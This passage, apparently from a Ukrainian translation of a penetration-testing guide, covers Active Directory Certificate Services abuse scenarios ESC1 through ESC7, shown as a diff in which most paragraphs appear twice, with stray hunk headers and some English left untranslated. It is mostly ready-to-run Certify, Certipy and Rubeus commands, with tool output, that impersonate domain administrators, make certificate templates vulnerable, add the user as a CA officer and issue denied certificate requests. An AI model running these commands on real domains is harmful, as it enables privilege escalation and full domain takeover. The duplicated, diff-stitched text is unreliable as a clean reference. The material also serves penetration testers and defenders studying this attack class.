- **Права на реєстрацію (enrolment) надаються низькоправам користувачам через Enterprise CA.**
- **Не потрібно схвалення менеджера.**
- **Не потрібні підписи від уповноважених осіб.**
- **Security descriptors на шаблонах сертифікатів надто ліберальні, дозволяючи низькоправним користувачам отримувати права на реєстрацію (enrolment).**
- **Шаблони сертифікатів налаштовано з EKU, які полегшують аутентифікацію:**
- Extended Key Usage (EKU) ідентифікатори, такі як Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), або відсутність EKU (SubCA), включені.
- **Шаблон дозволяє запитувачам додавати subjectAltName у Certificate Signing Request (CSR):**
- Active Directory (AD) віддає пріоритет subjectAltName (SAN) у сертифікаті при перевірці ідентичності, якщо він присутній. Це означає, що вказавши SAN у CSR, можна запросити сертифікат для імітації будь-якого користувача (наприклад, домен-контролера або домен-адміністратора). Можливість вказати SAN запитувачем визначається в AD-об’єкті шаблону сертифіката через властивість `mspki-certificate-name-flag`. Ця властивість — бітова маска (bitmask), і наявність прапора `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` дозволяє запитувачу вказувати SAN.
> [!CAUTION]
> Конфігурація, описана вище, дозволяє низькоправним користувачам запитувати сертифікати з будь-яким обраним SAN, що дає змогу автентифікуватись від імені будь-якого доменного об'єкта через Kerberos або SChannel.
> Конфігурація, описана вище, дозволяє низькоправним користувачам запитувати сертифікати з будь-яким обраним SAN, що дає змогу аутентифікуватися як будь-який доменний принципал через Kerberos або SChannel.
Цю опцію іноді ввімкнюють для підтримки динамічної генерації HTTPS або host сертифікатів продуктами чи службами деплойменту, або через незнання.
Ця опція інколи увімкнена для підтримки динамічної генерації HTTPS або host сертифікатів продуктами чи службами розгортання, або через неповне розуміння її наслідків.
Зауважте, що створення сертифіката з цією опцією викликає попередження, чого не відбувається, коли існуючий шаблон сертифіката (наприклад, шаблон `WebServer`, який має увімкнений `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) дублюють і потім модифікують, додавши OID для аутентифікації.
Зверніть увагу, що створення сертифіката з цією опцією генерує попередження, чого не відбувається, якщо існуючий шаблон сертифіката (наприклад, шаблон `WebServer`, у якого увімкнено `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) дублюють і потім змінюють для включення OID для аутентифікації.
### Зловживання
Щоб **знайти вразливі шаблони сертифікатів**, ви можете виконати:
Щоб знайти вразливі шаблони сертифікатів, ви можете виконати:
```bash
Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
```
Щоб **зловживати цією вразливістю та видавати себе за адміністратора**, можна запустити:
Щоб **зловживати цією вразливістю і видавати себе за адміністратора**, можна запустити:
```bash
# Impersonate by setting SAN to a target principal (UPN or sAMAccountName)
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local
@ -54,14 +54,14 @@ Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:ad
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
-template 'ESC1' -upn 'administrator@corp.local'
```
Потім ви можете перетворити згенерований **сертифікат у формат `.pfx`** і знову використовувати його для **аутентифікації за допомогою Rubeus або certipy**:
Потім ви можете перетворити згенерований **сертифікат у формат `.pfx`** і знову використати його, щоб **автентифікуватися за допомогою Rubeus або certipy**:
```bash
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
```
The Windows binaries "Certreq.exe" & "Certutil.exe" can be used to generate the PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
Бінарні файли Windows "Certreq.exe" та "Certutil.exe" можна використовувати для створення PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
Перелічення шаблонів сертифікатів у схемі конфігурації AD Forest, зокрема тих, що не потребують погодження або підписів, мають Client Authentication або Smart Card Logon EKU, і з увімкненим прапором `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, можна виконати, запустивши наступний LDAP-запит:
Перелічення шаблонів сертифікатів у схемі конфігурації AD Forest, зокрема тих, що не потребують схвалення або підписів, які мають EKU Client Authentication або Smart Card Logon, і з встановленим прапором `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, можна виконати, запустивши наступний LDAP-запит:
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
```
@ -71,51 +71,51 @@ The Windows binaries "Certreq.exe" & "Certutil.exe" can be used to generate the
Другий сценарій зловживання є варіацією першого:
1. Права на реєстрацію (enrollment) надаються користувачам з низькими привілеями Enterprise CA.
2. Вимога схвалення керівника вимкнена.
3. Відсутня потреба в авторизованих підписах.
4. Надмірно ліберальний дескриптор безпеки шаблону сертифіката надає права на реєстрацію сертифікатів користувачам з низькими привілеями.
5. **Шаблон сертифіката визначено так, щоб містити Any Purpose EKU або взагалі не містити EKU.**
1. Enterprise CA надає права на реєстрацію сертифікатів користувачам з низькими привілеями.
2. Вимога схвалення менеджером відключена.
3. Вимога авторизованих підписів відсутня.
4. Надмірно ліберальний security descriptor у шаблоні сертифіката надає права на реєстрацію сертифікатів користувачам з низькими привілеями.
5. **The certificate template is defined to include the Any Purpose EKU or no EKU.**
The **Any Purpose EKU** дозволяє зловмиснику отримати сертифікат для **будь-якої мети**, включно з автентифікацією клієнта, автентифікацією сервера, code signing тощо. Та сама **technique used for ESC3** може бути використана для експлуатації цього сценарію.
**Any Purpose EKU** дозволяє атакуючому отримати сертифікат для будь‑якої мети, включно з автентифікацією клієнта, автентифікацією сервера, підписуванням коду тощо. Ту саму **technique used for ESC3** можна використати для експлуатації цього сценарію.
Сертифікати з **no EKUs**, які виступають як subordinate CA certificates, можуть бути використані для **будь-якої мети** і **також можуть бути використані для підпису нових сертифікатів**. Отже, зловмисник може вказати довільні EKU або поля в нових сертифікатах, використовуючи subordinate CA certificate.
Сертифікати з **no EKUs**, які діють як subordinate CA certificates, можна експлуатувати для будь‑якої мети і також використовувати для підписування нових сертифікатів. Отже, атакуючий може вказати довільні EKU або поля в нових сертифікатах, використавши subordinate CA certificate.
Однак нові сертифікати, створені для **domain authentication**, не працюватимуть, якщо subordinate CA не довіряється об’єктом **`NTAuthCertificates`**, що є налаштуванням за замовчуванням. Тим не менш, зловмисник усе одно може створити **нові сертифікати з будь-яким EKU** та довільними значеннями сертифікатів. Це може бути потенційно **зловживано** для широкого кола цілей (наприклад, code signing, server authentication тощо) і може мати значні наслідки для інших додатків у мережі, таких як SAML, AD FS або IPSec.
Однак нові сертифікати, створені для domain authentication, не працюватимуть, якщо subordinate CA не довіряється об’єктом `NTAuthCertificates` — це налаштування за замовчуванням. Тим не менш, атакуючий все ще може створювати нові сертифікати з будь‑яким EKU та довільними значеннями сертифіката. Це потенційно може бути зловживано для широкого кола цілей (наприклад, підписування коду, автентифікація сервера тощо) і мати значні наслідки для інших додатків у мережі, таких як SAML, AD FS або IPSec.
Щоб перелічити шаблони, що відповідають цьому сценарію в конфігураційній схемі AD Forest, можна виконати такий LDAP-запит:
Щоб перерахувати шаблони, що відповідають цьому сценарію в схемі конфігурації AD Forest, можна виконати наступний LDAPзапит:
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
```
## Неправильно налаштовані шаблони Enrolment Agent - ESC3
## Неправильно налаштовані Enrolment Agent Templates - ESC3
### Пояснення
Цей сценарій схожий на перший та другий, але **abusing** іншу **EKU** (Certificate Request Agent) та **2 різні шаблони** (тому має 2 набори вимог),
Цей сценарій схожий на перший і другий, але **зловживає** **іншим EKU** (Certificate Request Agent) та **2 різними шаблонами** (тому має 2 набори вимог),
The **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), відомий як **Enrollment Agent** в документації Microsoft, дозволяє сутності **enroll** для **сертифікату** від **імені іншого користувача**.
**Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), відомий як **Enrollment Agent** у документації Microsoft, дозволяє суб'єкту **enroll** для **certificate** від **імені іншого користувача**.
The **“enrollment agent”** реєструється в такому **шаблоні** і використовує отриманий **сертифікат для спільного підпису CSR від імені іншого користувача**. Далі він **надсилає** цей **спільно підписаний CSR** до CA, реєструючись у **шаблоні**, який **дозволяє “enroll on behalf of”**, і CA відповідає сертифікатом, що належить “іншому” користувачу.
**“enrollment agent”** реєструється в такому **шаблоні** і використовує отриманий **certificate**, щоб співпідписати CSR **від імені іншого користувача**. Потім він **відправляє** співпідписаний CSR на CA, реєструючись у **шаблоні**, який дозволяє **“enroll on behalf of”**, і CA видає **certificate**, що належить **“іншому” користувачу**.
**Requirements 1:**
- Права на реєстрацію (enrollment rights) надаються низькоправовим користувачам Enterprise CA.
- Вимога затвердження менеджером опущена.
- Відсутня вимога авторизованих підписів.
- Дескриптор безпеки шаблону сертифіката надмірно дозволяє, надаючи права на реєстрацію низькоправовим користувачам.
- Enterprise CA надає права на enrollment користувачам з низькими привілеями.
- Вимога схвалення менеджера відсутня.
- Немає вимоги авторизованих підписів.
- Дескриптор безпеки шаблону сертифіката надмірно дозволяє, надаючи права enrollment користувачам з низькими привілеями.
- Шаблон сертифіката включає Certificate Request Agent EKU, що дозволяє запитувати інші шаблони сертифікатів від імені інших суб'єктів.
**Requirements 2:**
- Enterprise CA надає права на реєстрацію низькоправовим користувачам.
- Затвердження менеджера обходиться.
- Схема версії шаблону або 1, або перевищує 2, і вона вказує Application Policy Issuance Requirement, що вимагає Certificate Request Agent EKU.
- EKU, визначена в шаблоні сертифіката, дозволяє аутентифікацію в домені.
- Enterprise CA надає права на enrollment користувачам з низькими привілеями.
- Схвалення менеджера обходиться.
- Схема версії шаблону або 1, або більше 2, і вона вказує Application Policy Issuance Requirement, що вимагає Certificate Request Agent EKU.
- EKU, визначений у шаблоні сертифіката, дозволяє аутентифікацію домену.
- Обмеження для enrollment agents не застосовуються на CA.
### Зловживання
Ви можете використовувати [**Certify**](https://github.com/GhostPack/Certify) або [**Certipy**](https://github.com/ly4k/Certipy) для зловживання цим сценарієм:
Для зловживання цим сценарієм можна використовувати [**Certify**](https://github.com/GhostPack/Certify) або [**Certipy**](https://github.com/ly4k/Certipy):
```bash
# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
@ -129,44 +129,44 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
```
Користувачі, які дозволені для отримання **enrollment agent certificate**, шаблони, у яких **agents** мають право реєструватися, та **accounts**, від імені яких агент реєстрації може діяти, можуть бути обмежені корпоративними CA. Це досягається відкривши `certsrc.msc` **snap-in**, **клацнувши правою кнопкою миші по CA**, **натиснувши Properties**, а потім **перейшовши на вкладку “Enrollment Agents”**.
Користувачі, яким дозволено **отримувати** сертифікат агента реєстрації, шаблони, у які агенти реєстрації мають право записуватися, та **облікові записи**, від імені яких агент реєстрації може діяти, можуть обмежуватися корпоративними CA. Це здійснюється шляхом відкриття `certsrc.msc` **snap-in**, **натискання правою кнопкою миші на CA**, **вибору Properties**, а потім **перехід на** вкладку “Enrollment Agents”.
Проте зауважено, що **налаштування за замовчуванням** для CA — “Do not restrict enrollment agents.” Коли адміністратори вмикають обмеження для агентів реєстрації, встановлюючи “Restrict enrollment agents”, конфігурація за замовчуванням залишається надзвичайно дозволяючою. Вона дозволяє **Everyone** доступ реєструватися у всіх шаблонах як будь-хто.
Однак варто зауважити, що **за замовчуванням** налаштування для CA — “**Do not restrict enrollment agents**.” Якщо адміністратори вмикають обмеження для агентів реєстрації, встановлюючи його на “Restrict enrollment agents,” стандартна конфігурація залишається вкрай ліберальною. Вона дозволяє **Everyone** записуватися в усі шаблони від імені будь-кого.
## Уразливий контроль доступу до шаблонів сертифікатів - ESC4
### **Пояснення**
**Дескриптор безпеки** на **шаблонах сертифікатів** визначає **повноваження**, якими володіють певні **принципали AD** щодо шаблону.
**Дескриптор безпеки** на **шаблонах сертифікатів** визначає **права**, які мають конкретні **AD principals** щодо шаблону.
Якщо **атакуючий** має необхідні **права** для **зміни** шаблону та **впровадження** будь-яких **експлуатованих неправильних налаштувань**, описаних у попередніх розділах, це може сприяти підвищенню привілеїв.
Якщо **атакуючий** має необхідні **права** для **зміни** **шаблону** та **впровадження** будь-яких **експлуатованих неправильних конфігурацій**, описаних у **попередніх розділах**, це може сприяти ескалації привілеїв.
Важливі права, що застосовуються до шаблонів сертифікатів, включають:
З-поміж помітних прав, що застосовуються до шаблонів сертифікатів, є:
- **Owner:** Надає неявний контроль над об’єктом, дозволяючи змінювати будь-які атрибути.
- **FullControl:** Дозволяє повну владу над об’єктом, включно з можливістю змінювати будь-які атрибути.
- **WriteOwner:** Дозволяє змінити власника об’єкта на принципала під контролем атакуючого.
- **WriteDacl:** Дозволяє коригувати контролі доступу, потенційно надаючи атакуючому FullControl.
- **WriteProperty:** Авторизує редагування будь-яких властивостей об’єкта.
- **Owner:** Надає неявний контроль над об’єктом, дозволяючи змінювати будьякі атрибути.
- **FullControl:** Дає повну владу над об’єктом, включно з можливістю змінювати будьякі атрибути.
- **WriteOwner:** Дозволяє змінити власника об’єкта на принципал під контролем атакуючого.
- **WriteDacl:** Дозволяє коригувати контроль доступу, потенційно надаючи атакуючому FullControl.
- **WriteProperty:** Авторизує редагування будьяких властивостей об’єкта.
### Зловживання
Щоб ідентифікувати принципалів з правами редагування шаблонів та інших PKI-об’єктів, перелікуйте їх за допомогою Certify:
Щоб ідентифікувати принципалів з правами редагування шаблонів та інших PKI-об’єктів, перераховуйте за допомогою Certify:
```bash
Certify.exe find /showAllPermissions
Certify.exe pkiobjects /domain:corp.local /showAdmins
```
Приклад privesc, подібного до попереднього:
Приклад privesc, схожий на попередній:
<figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
ESC4 має місце, коли користувач має права запису над шаблоном сертифіката. Це, наприклад, може бути використано для перезапису конфігурації шаблону сертифіката з метою зробити шаблон вразливим до ESC1.
ESC4 — це випадок, коли користувач має права запису на шаблон сертифіката. Цим, наприклад, можна зловживати, перезаписавши конфігурацію шаблона сертифіката, щоб зробити шаблон вразливим до ESC1.
Як видно з шляху вище, лише `JOHNPC` має ці привілеї, але наш користувач `JOHN` має новий зв'язок `AddKeyCredentialLink` з `JOHNPC`. Оскільки ця техніка пов'язана з сертифікатами, я також реалізував цю атаку, яка відома як [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Нижче — невеликий приклад використання команди Certipy `shadow auto` для отримання NT hash жертви.
Як видно в наведеному вище шляху, лише `JOHNPC` має ці привілеї, але наш користувач `JOHN` має нове ребро `AddKeyCredentialLink` до `JOHNPC`. Оскільки ця техніка пов'язана з сертифікатами, я також реалізував цю атаку, відому як [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ось невеликий огляд команди Certipys `shadow auto` для отримання NT hash жертви.
```bash
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
```
**Certipy** може перезаписати конфігурацію шаблону сертифіката однією командою. За **замовчуванням**, Certipy **перезаписує** конфігурацію, щоб зробити її **вразливою до ESC1**. Ми також можемо вказати **`-save-old` параметр для збереження старої конфігурації**, що буде корисно для **відновлення** конфігурації після нашої атаки.
**Certipy** може перезаписати конфігурацію шаблону сертифіката однією командою. За **замовчуванням**, Certipy **перезапише** конфігурацію, зробивши її **вразливою до ESC1**. Ми також можемо вказати **параметр `-save-old`, щоб зберегти стару конфігурацію**, що буде корисно для **відновлення** конфігурації після нашої атаки.
```bash
# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@ -181,33 +181,33 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
### Пояснення
Широка мережа взаємопов’язаних стосунків на основі ACL, яка включає кілька об’єктів за межами certificate templates та certificate authority, може вплинути на безпеку всієї системи AD CS. Ці об’єкти, що можуть суттєво вплинути на безпеку, включають:
Широка мережа взаємопов'язаних зв'язків на основі ACL, яка включає кілька об'єктів, окрім шаблонів сертифікатів і сертифікаційного центру, може впливати на безпеку всієї системи AD CS. Ці об'єкти, що суттєво впливають на безпеку, охоплюють:
- Об'єкт комп'ютера AD сервера CA, який може бути скомпрометований через механізми на кшталт S4U2Self або S4U2Proxy.
- RPC/DCOM сервер CA-сервера.
- Будь-який дочірній AD-об'єкт або контейнер у межах конкретного шляху контейнера `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Цей шлях включає, але не обмежується, контейнерами та об'єктами такими як the Certificate Templates container, the Certification Authorities container, the NTAuthCertificates object та the Enrollment Services Container.
- AD computer object серверу CA, який може бути скомпрометований за допомогою механізмів на кшталт S4U2Self або S4U2Proxy.
- RPC/DCOM server серверу CA.
- Будь-який нащадковий AD object або контейнер у межах конкретного шляху `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Цей шлях включає, але не обмежується, контейнерами та об'єктами такими як Certificate Templates container, Certification Authorities container, NTAuthCertificates object та Enrollment Services Container.
Безпека PKI-системи може бути підірвана, якщо атакуючий з низькими привілеями отримає контроль над будь-яким із цих критичних компонентів.
Безпека PKI-системи може бути порушена, якщо атакуючий з низькими привілеями отримає контроль над будь-яким із цих критичних компонентів.
## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
### Пояснення
Тема, розглянута в [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage), також торкається наслідків прапора **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, як це окреслено Microsoft. Ця конфігурація, коли вона активована на Certification Authority (CA), дозволяє включати **значення, визначені користувачем** у **subject alternative name** для **будь-якого запиту**, включно з тими, що формуються з Active Directory®. Відповідно, це дозволяє **зловмиснику** зареєструватися через **будь-який шаблон**, налаштований для доменної **authentication** — зокрема ті, що відкриті для реєстрації **unprivileged** користувачами, як-от стандартний User template. У результаті може бути отримано сертифікат, який дає змогу зловмиснику автентифікуватися як domain administrator або **будь-яка інша активна сутність** в домені.
Тема, висвітлена в пості [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage), також торкається наслідків прапорця **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, як це описано Microsoft. Ця конфігурація, коли вона активована на Certification Authority (CA), дозволяє включати **користувацькі значення** в **subject alternative name** для **будь-якого запиту**, включно з тими, що сформовані з Active Directory®. Відповідно, це дає змогу **зловмисникові** зареєструватися через **будь-який шаблон**, налаштований для автентифікації домену — зокрема ті, що відкриті для реєстрації неповноважними користувачами, як-от стандартний User template. Внаслідок цього можна отримати сертифікат, який дозволяє зловмисникові автентифікуватися як адміністратор домену або **будь-який інший активний об'єкт** у домені.
**Примітка**: Підхід для додавання **alternative names** в Certificate Signing Request (CSR) через аргумент `-attrib "SAN:"` в `certreq.exe` (що називають “Name Value Pairs”) відрізняється від стратегії експлуатації SAN у ESC1. Тут різниця полягає в тому, **як інформація про обліковий запис інкапсулюється**у атрибуті сертифіката, а не в розширенні.
**Примітка**: Підхід для додавання **alternative names** у Certificate Signing Request (CSR) через аргумент `-attrib "SAN:"` в `certreq.exe` (згадуваний як “Name Value Pairs”) відрізняється від стратегії експлуатації SAN у ESC1. Різниця полягає в тому, як інформація про обліковий запис інкапсулюється — у вигляді атрибуту сертифіката, а не розширення.
### Зловживання
Щоб перевірити, чи налаштування активовано, організації можуть виконати наступну команду за допомогою `certutil.exe`:
Щоб перевірити, чи налаштування активовано, організації можуть скористатися наступною командою з `certutil.exe`:
```bash
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
```
Ця операція фактично використовує **remote registry access**, отже альтернативний підхід може бути таким:
Ця операція по суті використовує **remote registry access**, отже альтернативний підхід може бути таким:
```bash
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
```
Інструменти на кшталт [**Certify**](https://github.com/GhostPack/Certify) і [**Certipy**](https://github.com/ly4k/Certipy) здатні виявляти цю некоректну конфігурацію та експлуатувати її:
Інструменти на кшталт [**Certify**](https://github.com/GhostPack/Certify) і [**Certipy**](https://github.com/ly4k/Certipy) можуть виявляти цю неправильну конфігурацію та експлуатувати її:
```bash
# Detect vulnerabilities, including this one
Certify.exe find
@ -216,39 +216,39 @@ Certify.exe find
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
```
Щоб змінити ці налаштування, за умови, що особа володіє правами **domain administrative** або еквівалентними, наступну команду можна виконати з будь-якої робочої станції:
Щоб змінити ці налаштування, за умови наявності прав **domain administrative** або еквівалентних, з будь-якої робочої станції можна виконати таку команду:
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
```
Щоб вимкнути цю конфігурацію у вашому середовищі, цей flag можна видалити за допомогою:
Щоб вимкнути цю конфігурацію у вашому середовищі, цей прапорець можна видалити за допомогою:
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
```
> [!WARNING]
> Після оновлень безпеки May 2022 новостворені **сертифікати** міститимуть **розширення безпеки**, яке включає **властивість `objectSid` запитувача**. Для ESC1 цей SID походить від вказаного SAN. Однак для **ESC6** SID віддзеркалює **`objectSid` запитувача**, а не SAN.\
> Після оновлень безпеки травня 2022 року нововидані **сертифікати** міститимуть **розширення безпеки**, яке включає **`objectSid` властивість запитувача**. Для ESC1 цей SID походить зі вказаного SAN. Однак для **ESC6** SID відображає **`objectSid` запитувача**, а не SAN.\
> Щоб експлуатувати ESC6, система має бути вразливою до ESC10 (Weak Certificate Mappings), який віддає пріоритет **SAN над новим розширенням безпеки**.
## Уразливий контроль доступу сертифікаційного центру (CA) - ESC7
## Уразливий контроль доступу центру сертифікації - ESC7
### Атака 1
#### Пояснення
Контроль доступу до сертифікаційного центру реалізується через набір дозволів, які регулюють дії CA. Ці дозволи можна переглянути, запустивши `certsrv.msc`, клацнувши правою кнопкою миші по CA, вибравши Properties, а потім перейшовши на вкладку Security. Крім того, дозволи можна перелічити за допомогою модуля PSPKI командами, наприклад:
Контроль доступу до центру сертифікації здійснюється за допомогою набору дозволів, що керують діями CA. Ці дозволи можна переглянути, відкривши `certsrv.msc`, клацнувши правою кнопкою миші на CA, вибравши Properties, а потім перейшовши на вкладку Security. Додатково, дозволи можна перелічити за допомогою модуля PSPKI такими командами:
```bash
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
```
Це дає уявлення про основні права, а саме **`ManageCA`** та **`ManageCertificates`**, що відповідають ролям “адміністратор CA” та “менеджер сертифікатів” відповідно.
This provides insights into the primary rights, namely **`ManageCA`** and **`ManageCertificates`**, correlating to the roles of “CA administrator” and “Certificate Manager” respectively.
#### Abuse
Наявність прав **`ManageCA`** на сертифікаційному органі дозволяє суб'єкту змінювати налаштування віддалено за допомогою PSPKI. Це включає переключення прапорця **`EDITF_ATTRIBUTESUBJECTALTNAME2`** для дозволу вказування SAN у будь-якому шаблоні, що є критичною умовою для ескалації в домені.
Наявність права **`ManageCA`** на центр сертифікації дозволяє суб’єкту змінювати налаштування дистанційно за допомогою PSPKI. Це включає переключення прапорця **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, щоб дозволити вказувати SAN у будь-якому шаблоні — критичний компонент ескалації в домені.
Спростити цей процес можна за допомогою PSPKIs **Enable-PolicyModuleFlag** cmdlet, що дозволяє вносити зміни без прямої взаємодії з GUI.
Спрощення цього процесу досягається за допомогою cmdlet'а PSPKI **Enable-PolicyModuleFlag**, що дозволяє вносити зміни без прямої взаємодії з GUI.
Наявність прав **`ManageCertificates`** полегшує схвалення очікуваних запитів, фактично обходячи захист "CA certificate manager approval".
Наявність права **`ManageCertificates`** дозволяє схвалювати очікувані запити, фактично обходячи захист «погодження менеджера сертифікатів CA».
Комбінацію модулів **Certify** та **PSPKI** можна використати для запиту, схвалення та завантаження сертифіката:
Комбінація модулів **Certify** та **PSPKI** може бути використана для запиту, схвалення та завантаження сертифіката:
```bash
# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
@ -269,28 +269,26 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
#### Пояснення
> [!WARNING]
> У **попередній атаці** **`Manage CA`** дозволи були використані, щоб **увімкнути** прапорець **EDITF_ATTRIBUTESUBJECTALTNAME2** для виконання **ESC6 атаки**, але це не матиме жодного ефекту, доки служба CA (`CertSvc`) не буде перезапущена. Коли користувач має право доступу `Manage CA`, йому також дозволено **перезапускати службу**. Однак це **не означає, що користувач може перезапустити службу віддалено**. Крім того, E**SC6 може не працювати out of the box** у більшості запатчених середовищ через оновлення безпеки травня 2022 року.
Отже, тут представлено іншу атаку.
> У **попередній атаці** **`Manage CA`** права доступу були використані, щоб **увімкнути** прапорець **EDITF_ATTRIBUTESUBJECTALTNAME2** для виконання **ESC6 attack**, але це не матиме жодного ефекту, доки служба CA (`CertSvc`) не буде перезапущена. Коли користувач має `Manage CA` право доступу, йому також дозволено **перезапустити службу**. Проте це **не означає, що користувач може перезапустити службу віддалено**. Крім того, E**SC6 might not work out of the box** у більшості патчених середовищ через оновлення безпеки May 2022.
Передумови:
- Тільки **`ManageCA` дозвіл**
- **`Manage Certificates`** дозвіл (може бути надано з **`ManageCA`**)
- **`Manage Certificates`** дозвіл (може бути наданий з **`ManageCA`**)
- Шаблон сертифіката **`SubCA`** має бути **увімкнений** (може бути увімкнений з **`ManageCA`**)
Техніка базується на тому, що користувачі з правом доступу `Manage CA` а_ `Manage Certificates` можуть **ініціювати невдалі запити на сертифікат**. Шаблон сертифіката **`SubCA`** є **вразливим до ESC1**, але **лише адміністратори** можуть зареєструватися у цьому шаблоні. Отже, **користувач** може **запитати** реєстрацію у **`SubCA`** — яка буде **відхилена** — але **потім буде видана менеджером**.
Техніка спирається на те, що користувачі з правами доступу `Manage CA` а_ `Manage Certificates` можуть **issue failed certificate requests**. Шаблон сертифіката `SubCA` є **vulnerable to ESC1**, але **тільки адміністратори** можуть зареєструватися в цьому шаблоні. Отже, **користувач** може **request** реєстрацію у `SubCA` — яка буде **denied** — але **потім issued менеджером**.
#### Зловживання
Ви можете **наділити себе правом `Manage Certificates`** додавши свого користувача як нового офіцера.
Ви можете **надати собі `Manage Certificates`** право доступу, додавши свого користувача як нового офіцера.
```bash
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'John' on 'corp-DC-CA'
```
Шаблон **`SubCA`** можна **увімкнути на CA** за допомогою параметра `-enable-template`. За замовчуванням шаблон `SubCA` увімкнено.
Шаблон **`SubCA`** можна **увімкнути на CA** за допомогою параметра `-enable-template`. За замовчуванням шаблон **`SubCA`** увімкнено.
```bash
# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
@ -302,9 +300,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
```
Якщо ми виконали передумови для цієї атаки, ми можемо почати з **запиту сертифіката на основі шаблону `SubCA`**.
Якщо ми виконали передумови для цієї атаки, можемо почати з **запиту certificate на основі шаблону `SubCA`**.
**Цей запит буде відмовле**но, але ми збережемо private key і запишемо request ID.
**Цей запит буде відхилен**о, але ми збережемо private key і запишемо request ID.
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -316,14 +314,14 @@ Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate
```
З нашими **`Manage CA` and `Manage Certificates`**, ми можемо потім **випустити сертифікат для невдалого запиту** за допомогою команди `ca` та параметра `-issue-request <request ID>`.
Маючи наші **`Manage CA` та `Manage Certificates`**, ми можемо потім **видавати сертифікат для невдалого запиту** за допомогою команди `ca` і параметра `-issue-request <request ID>`.
```bash
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
```
І нарешті, ми можемо **отримати виданий сертифікат** за допомогою команди `req` і параметра `-retrieve <request ID>`.
